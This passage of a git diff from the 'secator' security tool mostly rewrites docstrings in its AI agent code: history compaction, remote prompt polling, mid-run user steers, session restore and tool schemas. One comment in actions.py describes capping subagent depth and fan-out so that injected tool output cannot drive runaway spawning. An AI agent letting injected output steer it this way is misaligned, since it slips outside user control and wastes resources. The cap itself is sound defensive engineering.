via litellm's trim_messages: preserves - system/recent context, drops oldest first, shortens individual messages - before dropping them.""" + """Trim messages to fit under max_tokens using litellm's trim_messages. + + Preserves system messages and recent context, removing oldest messages first. + Also attempts to shorten individual messages before dropping them entirely. + + Args: + max_tokens: Maximum token limit for the messages. + + Returns: + Trimmed list of messages. + """ from litellm.utils import trim_messages from secator.ai.utils import _strip_leading_orphan_tools from secator.rich import console @@ -239,8 +287,17 @@ def clear(self) -> None: self.messages = [] def count_tokens(self, model: str = None) -> int: - """Count tokens using litellm with per-message caching; raises ValueError - if no model is set/passed.""" + """Count tokens using litellm, with per-message caching. + + Args: + model: LLM model name (required if self.model not set) + + Returns: + Total token count across all messages + + Raises: + ValueError: If no model provided and self.model not set + """ import litellm model = model or self.model if not model: @@ -265,8 +322,17 @@ def count_tokens(self, model: str = None) -> int: return total def count_tokens_by_role(self, model: str = None) -> Dict[str, int]: - """Count tokens per message role (via count_tokens()'s cache); returns a - dict by role plus a 'total' key.""" + """Count tokens per message role, reusing per-message cache. + + Calls count_tokens() first to ensure cache is populated, + then aggregates by role. + + Args: + model: LLM model name (required if self.model not set) + + Returns: + Dict mapping role to token count, plus 'total' key + """ self.count_tokens(model) by_role: Dict[str, int] = {} for msg in self.messages: @@ -276,7 +342,14 @@ def count_tokens_by_role(self, model: str = None) -> Dict[str, int]: return by_role def get_available_tokens(self, model: str) -> int: - """Return tokens available for new content: context window - reservation - used.""" + """Return tokens available for new content. + + Args: + model: LLM model name + + Returns: + Available tokens (context - reservation - used) + """ context_window = get_context_window(model) usable = context_window - OUTPUT_TOKEN_RESERVATION used = self.count_tokens(model) @@ -288,8 +361,15 @@ def get_available_tokens(self, model: str) -> int: return available def should_compact(self, model: str, threshold_pct: int = COMPACTION_THRESHOLD_PCT) -> bool: - """Return True if compaction is needed: used tokens exceed threshold_pct - of usable context (default 85%).""" + """Check if compaction needed based on % of context used. + + Args: + model: LLM model name + threshold_pct: Percentage threshold (default 85) + + Returns: + True if compaction needed + """ context_window = get_context_window(model) usable = context_window - OUTPUT_TOKEN_RESERVATION used = self.count_tokens(model) @@ -304,8 +384,19 @@ def should_compact(self, model: str, threshold_pct: int = COMPACTION_THRESHOLD_P def maybe_summarize(self, model: str, api_base: Optional[str] = None, api_key: Optional[str] = None) -> Tuple[bool, int, int]: - """Summarize history if should_compact() says usage exceeds threshold; - returns (compacted, old_tokens, new_tokens).""" + """Summarize history if token usage exceeds percentage threshold. + + Uses should_compact() to determine if compaction is needed based on + percentage of usable context (default 85%). + + Args: + model: LLM model name + api_base: Optional API base URL + api_key: Optional API key + + Returns: + tuple: (compacted, old_tokens, new_tokens) + """ old_tokens = self.count_tokens(model) if not self.should_compact(model): debug('skipping compaction: not needed', sub='runner.ai.context') @@ -319,8 +410,15 @@ def maybe_summarize(self, model: str, api_base: Optional[str] = None, def compact(self, model: str, api_base: Optional[str] = None, api_key: Optional[str] = None, keep_last: int = 4) -> None: - """Summarize non-system messages via an LLM, keeping the system prompt and - the last keep_last messages intact for recent context.""" + """Summarize non-system messages using an LLM, keeping the initial system prompt + and the last few messages intact so the LLM retains recent context. + + Args: + model: LLM model name + api_base: Optional API base URL + api_key: Optional API key + keep_last: Number of recent non-system messages to preserve (default 4) + """ if len(self.messages) <= 2: return @@ -392,8 +490,18 @@ def compact(self, model: str, api_base: Optional[str] = None, self.messages.extend(to_keep) def get_action_budget(self, model: str) -> int: - """Get max tokens for a single action's output: the smaller of - MAX_ACTION_TOKENS and 50% of available context.""" + """Get max tokens allowed for a single action's combined output. + + Returns the smaller of: + - MAX_ACTION_TOKENS (10k hard cap) + - 50% of available context + + Args: + model: LLM model name + + Returns: + Token budget for action result + """ available = self.get_available_tokens(model) budget = min(MAX_ACTION_TOKENS, available // 2) debug( diff --git a/secator/ai/interactivity.py b/secator/ai/interactivity.py index f7b82a80d..038c9cb2e 100644 --- a/secator/ai/interactivity.py +++ b/secator/ai/interactivity.py @@ -1,5 +1,9 @@ -"""Interactivity backends for AI task user interaction: all prompting flows -through backend.ask_user() so callers never branch on interactive mode.""" +"""Interactivity backends for AI task user interaction. + +All user prompting (permission requests and follow-up questions) flows through +backend.ask_user(). Callers never branch on interactive mode — the backend +handles the UX differences. +""" import time from time import sleep @@ -13,8 +17,19 @@ class InteractivityBackend: def ask_user(self, question: str, choices: List[str], session_id: str, prompt_type: str = "follow_up", **context) -> Optional[Dict]: - """Ask the user a question; returns {"answer": str} (+ optional "extra_iters"/ - "switch_mode" for follow_up), or None on exit/timeout/deny.""" + """Ask the user a question. + + Args: + question: The question to ask. + choices: List of choice strings. + session_id: Session ID for correlating request/response. + prompt_type: "follow_up" or "permission". + **context: Backend-specific context (engine, history, etc.). + + Returns: + dict with at least {"answer": str}, or None (exit/timeout/deny). + For follow_up: may also include "extra_iters" and "switch_mode". + """ raise NotImplementedError def get_excluded_tools(self) -> set: @@ -84,9 +99,14 @@ def get_excluded_tools(self) -> set: return {"stop"} def build_pending_prompt(self, question, choices, session_id, prompt_type="follow_up", **context): - """Build a pending Ai finding for the caller to yield (persists it before - ask_user() polls for the answer). ``prompt_uuid`` is stamped into - ``extra_data`` so the poll matches THIS prompt, not a stale one (H7).""" + """Build a pending Ai finding for the remote user to see and answer. + + The caller must yield this item so it gets stored in the workspace + (via runner hooks) before calling ask_user(), which will poll for the answer. + + ``prompt_uuid`` (from context) is stamped into ``extra_data`` so the poll + can match THIS exact prompt, not a stale earlier answer (H7). + """ from secator.output_types import Ai extra_data = { "permission_type": context.get("permission_type", ""), @@ -134,12 +154,16 @@ def ask_user(self, question, choices, session_id, prompt_type="follow_up", **con def poll_steers(self, session_id): """Drain pending steer docs for ``session_id`` and mark them consumed. - A "steer" is a mid-flight user message written to the channel while the - agent runs; the worker picks it up at the next checkpoint to redirect -- - distinct from a blocking follow-up ``answer`` or a hard Stop. Returns - content strings oldest-first, flipping each doc to ``consumed`` so it's - injected exactly once; any backend error returns ``[]`` (a steer must - never crash the run). + A "steer" is a mid-flight user message: it's written into the channel + (``_type:"ai"``, ``ai_type:"steer"``, ``status:"pending"``) WHILE the agent + is running, and the worker picks it up at the next loop checkpoint to + redirect the next turn. This is distinct from a follow-up ``answer`` (which + the worker is *blocked* waiting on) and from a hard Stop (which revokes the + Celery task). + + Returns a list of steer content strings (oldest-first). Each returned doc is + flipped to ``status:"consumed"`` so it's injected exactly once. Robust by + design: any backend error returns ``[]`` so a steer can never crash the run. """ if self.query_engine is None: return [] @@ -177,11 +201,22 @@ def poll_steers(self, session_id): def _poll_for_answer(self, session_id, prompt_type, prompt_uuid=None): """Poll the DB for the answer to THIS specific prompt until timeout. - Scoped by ``prompt_uuid`` (not just session_id+status:"answered"): an - unscoped query would match a stale previously-answered doc from an earlier - turn, causing an infinite re-injection/respawn loop that re-runs scans and - burns tokens. A pending steer for this session breaks the wait early and is - returned as the answer, so the loop redirects immediately instead of stalling. + The query MUST be scoped to the exact prompt the worker is currently + blocked on — identified by ``prompt_uuid`` (stamped into the pending doc's + ``extra_data.prompt_uuid`` before it was persisted). Matching only on + ``{session_id, status:"answered"}`` is a bug: a multi-turn conversation + accumulates *previously* answered follow-up docs, so an unscoped query + returns a STALE answer immediately, the worker re-injects that old answer + as a brand-new prompt, re-runs the whole turn, asks again, re-matches the + same stale doc — an infinite respawn loop that re-runs scans and burns + tokens. Scoping on ``prompt_uuid`` makes the poll resolve only THIS + prompt's own answer (and time out only THIS prompt's doc). + + A steer (mid-flight user message) breaks the wait: if a pending steer + arrives for this session while we're blocked on a follow-up, we return its + content as the "answer" so the loop redirects immediately instead of + stalling until the follow-up is explicitly answered (or times out). This + keeps follow-up semantics intact for the no-steer case. """ base = { "_type": "ai", @@ -225,8 +260,11 @@ def _poll_for_answer(self, session_id, prompt_type, prompt_uuid=None): return None def _resolve_answer(self, answered_query): - """Return the newest answered doc's answer (by ``_timestamp``, a backstop - against stale answers), or None if none answered.""" + """Return the newest answered doc's answer, or None if none answered. + + Resolving against the newest by ``_timestamp`` is a backstop against + stale answers. + """ results = self.query_engine.search(answered_query) if not results: return None @@ -236,10 +274,11 @@ def _resolve_answer(self, answered_query): def _expire_stale_pending(self, session_id): """Mark any older still-pending prompt for this session as timed_out. - Called before a new prompt persists, so stale 'pending' docs (e.g. from a - worker that died mid-poll) don't strand the UI or collide with - crud.answer_ai_prompt's "latest pending" (M10). FLAG: a DB-layer TTL index - on pending Ai docs is the durable follow-up. + Called when a NEW prompt starts (before it is persisted), so it only + affects prior prompts. Stops stale 'pending' docs from accumulating — + a worker that dies mid-poll otherwise leaves the UI 'thinking' forever + and lets crud.answer_ai_prompt's "latest pending" collide (M10). + FLAG: a DB-layer TTL index on pending Ai docs is the durable follow-up. """ if not self.query_engine: return diff --git a/secator/ai/prompts.py b/secator/ai/prompts.py index d7c9ee9ba..4a0d87bac 100644 --- a/secator/ai/prompts.py +++ b/secator/ai/prompts.py @@ -20,8 +20,17 @@ def load_prompt(path: str) -> str: - """Load a prompt file and resolve ${includes} from constraints/*.txt (standard - $variable substitution happens later via string.Template).""" + """Load a prompt file and resolve ${includes} from common/. + + Include syntax: ${common_name} resolves to common/.txt content. + Standard $variable substitution is handled later by string.Template. + + Args: + path: Relative path within the prompts directory (e.g. 'modes/attack.txt') + + Returns: + Prompt string with includes resolved. + """ filepath = PROMPTS_DIR / path content = filepath.read_text() @@ -67,8 +76,14 @@ def _resolve(match): def get_mode_config(mode: str) -> dict: - """Get full config (system_prompt, allowed_actions, max_iterations) for a - mode; unknown modes fall back to chat's config.""" + """Get full config for a mode. + + Args: + mode: The mode name (attack, chat, exploit) + + Returns: + Mode configuration dict with system_prompt, allowed_actions, max_iterations + """ return MODES.get(mode, MODES["chat"]) @@ -81,8 +96,17 @@ def _format_opt_type(opt_config: dict) -> str: def _build_runner_reference(config_type: str) -> str: - """Build compact runner reference: name|description|opts|meta:meta_opt_names - (meta options listed by name only; defined in the META_OPTIONS section).""" + """Build compact runner reference: name|description|opts|meta:meta_opt_names. + + Meta options (shared across tools) are listed by name only since their + definitions appear in the META_OPTIONS section. + + Args: + config_type: 'task' or 'workflow' + + Returns: + Formatted reference string. + """ from secator.loader import get_configs_by_type from secator.template import get_config_options @@ -197,9 +221,16 @@ def build_query_types() -> str: def get_system_prompt(mode: str, workspace_path: str = "", backend=None) -> str: - """Get the system prompt for a mode with the library reference filled in; - backend (if given) determines the interaction rules appended for - non-interactive modes.""" + """Get system prompt for mode with library reference filled in. + + Args: + mode: One of "attack", "chat", or "exploit" + workspace_path: Path to the workspace/reports directory + backend: Optional interactivity backend to determine interaction rules + + Returns: + Formatted system prompt string + """ if mode not in MODES: from secator.rich import console from secator.output_types import Warning @@ -252,8 +283,18 @@ def get_system_prompt(mode: str, workspace_path: str = "", backend=None) -> str: def format_tool_result(name: str, status: str, count: int, results: Any, max_items: int = 100) -> str: - """Format a tool result as compact JSON, truncating results (and flagging - truncated/total_count) past max_items.""" + """Format tool result as compact JSON, truncating results if too many. + + Args: + name: Tool/task name + status: Execution status (success/error) + count: Number of results + results: Full results from the action + max_items: Maximum number of result items to include (default 100) + + Returns: + Compact JSON string + """ truncated = False if isinstance(results, list) and len(results) > max_items: results = results[:max_items] @@ -277,7 +318,15 @@ def format_tool_result(name: str, status: str, count: int, results: Any, max_ite def format_continue(iteration: int, max_iterations: int, instruction="continue") -> str: - """Format a "continue" loop message as compact JSON.""" + """Format continue message as compact JSON. + + Args: + iteration: Current iteration number + max_iterations: Maximum iterations allowed + + Returns: + Compact JSON string + """ return json.dumps({ "iteration": iteration, "max": max_iterations, diff --git a/secator/ai/session.py b/secator/ai/session.py index 8192ce73b..b64c906fa 100644 --- a/secator/ai/session.py +++ b/secator/ai/session.py @@ -11,7 +11,13 @@ def save_history(history, reports_folder, debug_fn=None): - """Save chat history to reports/history.json; best-effort, warns via debug_fn or console on failure.""" + """Save chat history to reports folder. + + Args: + history: ChatHistory instance. + reports_folder: Path to reports folder. + debug_fn: Optional debug function for logging. + """ try: history_path = Path(reports_folder) / 'history.json' with open(history_path, 'w', encoding='utf-8') as f: @@ -26,8 +32,14 @@ def save_history(history, reports_folder, debug_fn=None): def list_sessions(max_sessions=20): - """Scan reports folders for AI sessions with history.json; return dicts - sorted by mtime (most recent first), capped at max_sessions.""" + """Scan reports folders for AI sessions with history.json. + + Args: + max_sessions: Maximum number of sessions to return. + + Returns: + list: Session dicts sorted by mtime (most recent first), capped at max_sessions. + """ sessions = [] pattern = str(Path(CONFIG.dirs.reports) / '*/tasks/*/history.json') for history_path_str in glob.glob(pattern): @@ -77,7 +89,11 @@ def list_sessions(max_sessions=20): def show_session_picker(): - """Show interactive menu to pick a session to resume; returns the selected session dict, or None if cancelled.""" + """Show interactive menu to pick a session to resume. + + Returns: + dict: Selected session dict, or None if cancelled. + """ from secator.rich import InteractiveMenu sessions = list_sessions() @@ -119,9 +135,14 @@ def show_session_picker(): def print_session_results(session): - """Print a prior session's persisted results in ``_timestamp`` order -- the - "here's where you left off" replay shown on resume. Reads ``report.json``; - best-effort (never raises) so a display error can't block a resume.""" + """Print a prior session's persisted results (findings + ai turns) to the + console in ``_timestamp`` order — the visible "here's where you left off" + replay shown on resume. Reads the session's ``report.json``; best-effort + (never raises), so a resume is never blocked by a display error. + + Args: + session: Session dict from show_session_picker (uses ``report_path``). + """ from secator.output_types import OUTPUT_TYPES report_path = session.get('report_path') @@ -150,7 +171,14 @@ def print_session_results(session): def replay_session(session): - """Replay all results from a previous session and restore history; returns None on error.""" + """Replay all results from a previous session and restore history. + + Args: + session: Session dict from show_session_picker. + + Returns: + ChatHistory: Restored history, or None on error. + """ from secator.ai.history import ChatHistory # Show the prior conversation + findings on the console @@ -172,20 +200,51 @@ def replay_session(session): def restore_history_from_db(session_id, query_engine, model=None, encryptor=None, system_prompt=None): """Rebuild an in-memory ChatHistory from the workspace's `_type:"ai"` Mongo docs. - Headless equivalent of ``replay_session`` for the remote path: a respawned - ``ai`` task has no local report files, so history is rebuilt from the - channel docs (queried by ``session_id``, ordered by ``_timestamp``). + Headless equivalent of ``replay_session`` for the remote (web) path: a + respawned ``ai`` task on a different worker pod has no local report files, so + the conversation is rebuilt from the channel docs themselves (queried by + ``session_id``, ordered by ``_timestamp``). + + This is a **faithful, valid litellm transcript continuation** for docs + carrying a raw litellm ``message`` dict (persisted by Tasks 2-3 for every + prompt/assistant/tool_result turn, including tool_calls and tool_call_id + pairing): each persisted message is appended verbatim, in ``_timestamp`` + order. Internal loop nudges (the synthetic "continue"/"retry" ``user`` + prompts the run appends to live history but never persists as docs) are not + restored and so are omitted here — the result is therefore NOT literally + byte-identical to the live in-memory history, but it stays a valid transcript + (a clean tool→assistant continuation the model can resume from). Persisted + ``message.content`` is already encrypted (the encryption happens at persist + time, not at read time), so it is NOT re-encrypted here — doing so would + double-encrypt it. + + Docs from before this feature shipped don't carry a ``message`` field at + all (only the human-readable ``content`` used for the channel/report + display). Those fall back to the legacy **text-only** reconstruction: only + ``ai_type="prompt"``/``"response"`` docs become ``user``/``assistant`` + messages (re-encrypted here, since their plaintext ``content`` was never + encrypted at persist time), and intermediate tool-call/tool-result activity + is collapsed away (it was never captured verbatim pre-upgrade). + + Ordering assumption: a single session is either entirely message-carrying + (post-upgrade) or entirely legacy (pre-upgrade) — sessions aren't upgraded + mid-conversation. So it is safe to restore all message-docs first (in + their own timestamp order) and then append any legacy docs (in their own + timestamp order); within a real session only one of the two groups will be + non-empty, so this two-pass split never reorders an actual transcript. - Post-upgrade docs carry a raw litellm ``message`` and are appended verbatim - (already encrypted at persist time -- do NOT re-encrypt, or it double-encrypts). - Legacy docs (no ``message`` field) fall back to text-only prompt/response/steer - reconstruction, re-encrypted here since their plaintext was never encrypted at - persist time; other legacy ai_types are UX artifacts and are skipped. A session - is never a mix of the two, so restoring each group in its own timestamp order - never reorders an actual transcript. + Args: + session_id: The conversation's session id (UUID generated by the UI). + query_engine: A ``QueryEngine`` (must resolve to the workspace Mongo + backend for the docs to be visible). + model: Optional LLM model name to set on the returned history. + encryptor: Optional ``SensitiveDataEncryptor``, used only for the legacy + text-only fallback (message-docs are already encrypted verbatim). + system_prompt: Optional system prompt to set as the first message. Returns: - ChatHistory: rebuilt history (system-prompt-only if no prior docs exist). + ChatHistory: The rebuilt history (possibly with only a system prompt if + no prior docs exist). """ from secator.ai.history import ChatHistory from secator.ai.encryption import maybe_encrypt diff --git a/secator/ai/tools.py b/secator/ai/tools.py index 9003a5c38..72a9d2cbd 100644 --- a/secator/ai/tools.py +++ b/secator/ai/tools.py @@ -172,8 +172,16 @@ def build_tool_schemas(mode: str, is_subagent: bool = False, backend=None) -> list: - """Return tool schemas filtered by mode's allowed_actions (unknown modes fall - back to chat), minus is_subagent/backend exclusions plus any backend extra tools.""" + """Return list of tool schemas filtered by mode's allowed_actions. + + Args: + mode: The AI mode (attack, chat, exploit). Unknown modes fall back to chat. + is_subagent: If True, exclude follow_up tool (legacy compat). + backend: Optional interactivity backend for exclusion/extra tools. + + Returns: + List of OpenAI-format tool schema dicts. + """ config = get_mode_config(mode) allowed_actions = config["allowed_actions"] excluded = set() @@ -194,10 +202,16 @@ def build_tool_schemas(mode: str, is_subagent: bool = False, backend=None) -> li def coerce_stringified_args(tool_name: str, arguments: dict) -> dict: """Coerce args the model serialized as JSON strings back to their declared type. - Some providers stringify object/array params (e.g. ``opts``/``query``) even - though the schema declares them as such; downstream handlers then crash or - silently drop them. Parse once here, best-effort (left as-is if unparseable). - Must run BEFORE arg decryption, or ``_decrypt_dict`` would treat the + Some providers stringify nested object/array parameters even when the tool + schema says ``type: object`` / ``array`` (e.g. ``opts`` or ``query`` arriving + as a JSON string). Downstream handlers then call ``.get()`` / ``**opts`` / + ``.items()`` on a ``str`` and raise ``AttributeError`` — or silently drop the + value (``_sanitize_child_opts`` returns ``{}`` for a non-dict). Parse any such + arg once, here at the tool-call boundary, so every consumer gets the declared + type. Best-effort: an unparseable value is left as-is so the handler can return + a clean error rather than crash. + + Must run BEFORE arg decryption — ``_decrypt_dict`` would otherwise treat a stringified object as a single encrypted value. """ if not isinstance(arguments, dict): @@ -213,8 +227,15 @@ def coerce_stringified_args(tool_name: str, arguments: dict) -> dict: def tool_call_to_action(tool_name: str, arguments: dict) -> dict | None: - """Convert a tool call to an action dict compatible with existing action - handlers; returns None for unknown tools.""" + """Convert a tool call to an action dict compatible with existing action handlers. + + Args: + tool_name: The tool function name from the LLM response. + arguments: The parsed arguments dict from the LLM response. + + Returns: + Action dict with "action" key added, or None for unknown tools. + """ action_type = TOOL_ACTION_MAP.get(tool_name) if action_type is None: return None diff --git a/secator/tasks/ai.py b/secator/tasks/ai.py index 34043500c..239936c9c 100644 --- a/secator/tasks/ai.py +++ b/secator/tasks/ai.py @@ -310,16 +310,21 @@ def _rebuild_prompt_and_tools(self): def _get_query_engine(self): """Build a workspace-scoped QueryEngine from the runner context. - Backend (mongodb/api/local) resolves from ``context['drivers']``; the - remote channel appends ``mongodb`` on dispatch.""" + The backend (mongodb/api/local) is resolved from ``context['drivers']`` + via ``QueryEngine._select_backend``. For the remote channel the API + appends the ``mongodb`` driver on dispatch, so this resolves to the + workspace Mongo backend. + """ from secator.query import QueryEngine return QueryEngine(self.context.get("workspace_id", ""), context=dict(self.context)) def _maybe_resume_remote(self): """Restore chat history from Mongo when a remote session has prior docs. - Returns True if the turn was fully handled as a respawn, False to fall - through to a fresh conversation.""" + Returns True (via generator return) if this turn was fully handled as a + respawn (history restored, loop run), False to fall through to a fresh + conversation. Yields any items produced along the way. + """ query_engine = self._get_query_engine() # Guard: remote interactivity requires a Mongo-backed query engine, else @@ -384,8 +389,11 @@ def _maybe_resume_remote(self): return True def _save_history(self): - """Persist chat history locally, unless on the remote path (where the - workspace Mongo `_type:"ai"` docs are the source of truth instead).""" + """Persist chat history to the local reports folder, unless on the remote path. + + For the remote (web) channel the workspace Mongo `_type:"ai"` docs are the + source of truth, so the local `history.json` write is skipped. + """ if self.interactive == "remote": return save_history(self.history, self.reports_folder, debug_fn=self.debug) @@ -397,8 +405,10 @@ def _save_history(self): def _turn_uuid(self): """Stable id naming THIS delivery's turn for idempotency. - ``celery_id`` is stamped on the context by the worker entrypoint and stays - the same across an acks_late redelivery.""" + ``celery_id`` (the Celery request id) is stamped on the runner context by + the worker entrypoint (``run_command``) and is the SAME across an acks_late + worker-loss redelivery, so it uniquely and idempotently names one turn. + """ return (self.context or {}).get("celery_id") def _turn_completed_marker(self, turn_uuid, query_engine): @@ -418,9 +428,11 @@ def _turn_completed_marker(self, turn_uuid, query_engine): def _mark_turn_completed(self): """C3: persist a turn-completion marker once the turn is durably done. - Remote only; reuses the workspace `_type:"ai"` docs (restore skips this - ai_type). Called after `_run_loop` returns, so a mid-turn crash leaves no - marker and the turn still resumes.""" + Remote channel only. Reuses the workspace `_type:"ai"` docs (no new + collection); restore_history_from_db skips this ai_type so it never enters + the transcript. Called by the caller AFTER `_run_loop` returns, so a crash + mid-turn leaves no marker and the partial turn still resumes. + """ if self.interactive != "remote": return turn_uuid = self._turn_uuid() @@ -846,12 +858,30 @@ def _auto_approve_workspace_targets(self): # ------------------------------------------------------------------------- def _drain_steers(self): - """Drain pending mid-flight steers and inject them into LLM history. - - A steer is a user message sent while the agent runs (over the remote/web - channel); each is appended as a "[User interjected]" user message. No Ai - echo is yielded — the steer doc itself is the persisted transcript entry. - RemoteBackend-only; a no-op (generator) for every other backend.""" + """Drain pending mid-flight steers and inject them into the LLM history. + + A "steer" is a user message sent WHILE the agent is running (over the + remote/web channel: a pending ``_type:"ai", ai_type:"steer"`` doc written by + ``POST /ai/conversations/{id}/steer``). At the top of each loop iteration we + drain any pending steers for this session and append each to the history as + a ``[User interjected]: …`` user message so the model sees them on the next + turn. Cooperative — not a hard cancel (Stop already does that). + + The steer doc the API wrote is itself the persisted transcript entry (it + carries ``_context.session_id``, so the UI's transcript poll surfaces it as + an "interjected" user bubble). We deliberately do NOT yield a second + ``Ai(ai_type="steer")`` echo here — that would persist a duplicate doc with + the same content and double-render in the UI. ``poll_steers`` flips the + drained doc to ``status:"consumed"`` so it injects exactly once. + + Only the RemoteBackend has a channel to poll; for every other backend this + is a no-op. Robust: a steer must never crash the run, so all backend access + is best-effort and swallowed. + + Generator (``yield from``-compatible with the loop) — currently yields no + items, but kept a generator so future transcript echoes can be added without + changing the call site. + """ if not isinstance(self.backend, RemoteBackend): return try: @@ -919,8 +949,10 @@ def _summarize_user(self): def _process_tool_calls(self, tool_calls, ctx): """Parse, validate, and guardrails-check tool calls from LLM response. - Generator: yields Warnings/pending Ai prompts; returns validated actions. - Use: actions = yield from self._process_tool_calls(tool_calls, ctx)""" + Generator: yields Warning items and pending Ai prompts (for remote). + Returns list of validated action dicts via generator return. + Use: actions = yield from self._process_tool_calls(tool_calls, ctx) + """ actions = [] for tc in tool_calls: @@ -1002,7 +1034,9 @@ def _process_tool_calls(self, tool_calls, ctx): def _dispatch_and_collect(self, actions, ctx): """Dispatch actions, yield results, add to history. - Yields OutputType items; returns dict with follow_up_choices/stop_reason/follow_up_ai.""" + Yields OutputType items. Returns dict with follow_up_choices, stop_reason, follow_up_ai. + Use: result = yield from self._dispatch_and_collect(actions, ctx) + """ follow_up_choices = None stop_reason = None follow_up_ai = None @@ -1113,8 +1147,13 @@ def _dispatch_and_collect(self, actions, ctx): def _account_usage(self, usage): """Accumulate billed token/cost usage from a single LLM call onto the runner context. - `usage` is `call_llm`'s dict (or None, counted as 0). Running totals live on - `self.context["ai_tokens"]` etc., read by the platform billing chore.""" + `usage` is the dict returned by `call_llm` + (`{"tokens", "prompt_tokens", "completion_tokens", "cost"}`) or None. + Missing/None usage counts as 0 so accounting never crashes the run. The + running total lives on `self.context["ai_tokens"]` (int, cumulative) which + is persisted onto the task doc and read by the platform billing chore. + `context["ai_prompt_tokens"]`/`["ai_completion_tokens"]` carry the split. + """ if not usage: return for usage_key, ctx_key, cast in ( @@ -1131,8 +1170,9 @@ def _account_usage(self, usage): def _drain_history_usage(self): """Roll billed usage accrued by history summarization into context.ai_tokens. - `ChatHistory.compact` stashes its own billed usage on the history object; - drain it here so it's counted exactly once.""" + `ChatHistory.compact` makes its own LLM calls and stashes their billed + usage on the history object; drain it here so it is counted exactly once. + """ history = getattr(self, "history", None) if history is None: return @@ -1182,9 +1222,15 @@ def _add_assistant_to_history(self, content, tool_calls): def _prompt_and_redetect(self, choices, prompt_uuid=None): """Prompt user via backend and re-detect intent. - Works for all backends (CLI menus / remote DB poll / Auto returns None). - ``prompt_uuid`` scopes the remote poll to THIS pending doc, avoiding a stale - answer from a prior turn. Returns items to yield, or None to exit.""" + Works for all backends: CLIBackend shows rich menus, RemoteBackend + polls DB, AutoBackend returns None (exits). + + ``prompt_uuid`` correlates the (remote) poll to the SPECIFIC pending + follow_up doc this call raised, so a stale answered follow_up from a prior + turn can't resolve it (which would re-inject the old prompt and loop). + + Returns list of items to yield, or None to exit. + """ # H5: plain-chat remote turns reach here with no pre-persisted pending doc, # so persist one now with a real prompt_uuid (never poll on prompt_uuid=None). if isinstance(self.backend, RemoteBackend) and not prompt_uuid: diff --git a/secator/tasks/command.py b/secator/tasks/command.py index 0466f50eb..ae4e068cd 100644 --- a/secator/tasks/command.py +++ b/secator/tasks/command.py @@ -28,19 +28,44 @@ def _build_cmd(self): self.shell = True def is_installed(self): - """Always report installed: there's no fixed binary to `which` (cmd_name derives - from the empty class-level `cmd`), so auto-install would wrongly fail.""" + """Arbitrary shell commands have no fixed binary to `which`/auto-install (the base + Command.is_installed() derives cmd_name from the class-level `cmd`, which is '' here). + Always report installed so the base yielder runs the input verbatim instead of trying + (and failing) to auto-install an empty command name. + """ return True @classmethod def from_result(cls, command_line, output, return_code, *, start_time=None, end_time=None, context=None, hooks=None): - """Build a `command` runner from an ALREADY-RUN result, without executing it: the - "import" path (vs. `run()`/`yielder()`'s "execute" path). Populates state fields - from a result captured elsewhere, then fires the same `on_start`/`on_end` hooks so - it persists like any other runner -- the seam for importing externally-run commands - into Secator Cloud. `return_code != 0` marks the runner FAILURE via a synthetic - `Error` result; `start_time`/`end_time` default to now if omitted. Returns the - populated runner (no subprocess is ever spawned). + """Build a `command` runner from an ALREADY-RUN command's result, without executing it. + + This is the "import" path (as opposed to the "execute" path exercised by + `run()`/`yielder()`): it never spawns a subprocess, it just populates the runner's + state fields from a result that was captured elsewhere, then fires the same + `on_start`/`on_end` hooks a normal run would fire so the imported command persists + like any other runner (e.g. via an `update_runner` hook passed in `hooks`). This is + the forward-looking seam for importing externally-run commands into Secator Cloud. + + Args: + command_line (str): The command line that was run, verbatim. It becomes `self.cmd` + via the constructor -> `_build_cmd()`, same as the live-execution path (with + `input_types = []`, inputs are never type-filtered, so this holds for every + command line, including bare single-word ones like "whoami"). + output (str): Captured stdout of the already-run command. + return_code (int): Process return code of the already-run command. 0 means + success; anything else marks the runner FAILURE (an `Error` result is added + so `self_errors`, which `status` derives from, is non-empty). + start_time (datetime, optional): When the command started (tz-aware). Defaults + to now if omitted. + end_time (datetime, optional): When the command finished (tz-aware). Defaults to + now if omitted. + context (dict, optional): Runner context (workspace, etc), same as the live path. + hooks (dict, optional): Runner hooks (e.g. `on_end: [update_runner]`), same as the + live path -- this is how the imported result gets persisted. + + Returns: + command: the populated runner, in SUCCESS or FAILURE status. `yielder()` / + `run()` are never called, so no subprocess is ever spawned. """ runner = cls(inputs=[command_line], context=context or {}, hooks=hooks or {}) From 0336da34fc9f09d212ca0b5ab63846771b0c85ac Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 8 Jul 2026 10:58:21 +0200 Subject: [PATCH 123/129] docs(ai): strip internal hardening-round tags (M#/H#/C#/D#) from comments Removed 60 cryptic round tags (M1-M12, H4-H10, C1-C3, D2/D4) an external reader has no context for; kept the plain-English explanation. Comment/docstring text only, no code change. 497 AI tests pass, flake8 clean. Co-Authored-By: Claude Opus 4.8 Claude-Session: https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H --- secator/ai/actions.py | 28 +++++++++++++-------------- secator/ai/guardrails.py | 38 ++++++++++++++++++------------------- secator/ai/history.py | 2 +- secator/ai/interactivity.py | 14 +++++++------- secator/ai/utils.py | 8 ++++---- secator/tasks/ai.py | 28 +++++++++++++-------------- 6 files changed, 59 insertions(+), 59 deletions(-) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index dbd66d286..56539bded 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -19,14 +19,14 @@ from secator.ai.utils import _MAX_CHILD_ITERATIONS # noqa: F401 - re-exported for tests importing it from actions -# H4: bound recursive AI-subagent fan-out so injected output can't drive an +# Bound recursive AI-subagent fan-out so injected output can't drive an # exponential subagent/token blow-up. Depth caps recursion (child inherits +1 via # context); breadth caps how many subagents one parent turn may spawn. _MAX_SUBAGENT_DEPTH = 3 _MAX_SUBAGENTS_PER_TURN = 5 _SUBAGENT_TURN_LOCK = threading.Lock() -# M1: cap shell stdout before it enters AI history so a huge command can't blow up +# Cap shell stdout before it enters AI history so a huge command can't blow up # the next prompt's token budget; head+tail keeps both the start and the result. _MAX_SHELL_OUTPUT_CHARS = 4000 @@ -58,7 +58,7 @@ class ActionContext: scope: str = "workspace" results: Optional[List[Dict]] = None max_workers: int = 3 - in_batch: bool = False # H4: set on the per-batch ctx so the per-turn fan-out cap applies + in_batch: bool = False # set on the per-batch ctx so the per-turn fan-out cap applies subagent: bool = False silent: bool = False sync: bool = True @@ -128,13 +128,13 @@ def _build_hooks_from_context(context: Dict) -> Dict: def _build_child_hooks_or_denial(context: Dict) -> Tuple[Dict, Optional["Warning"]]: - """M2: rebuild the child's persistence hooks, refusing a persistence-less child. + """Rebuild the child's persistence 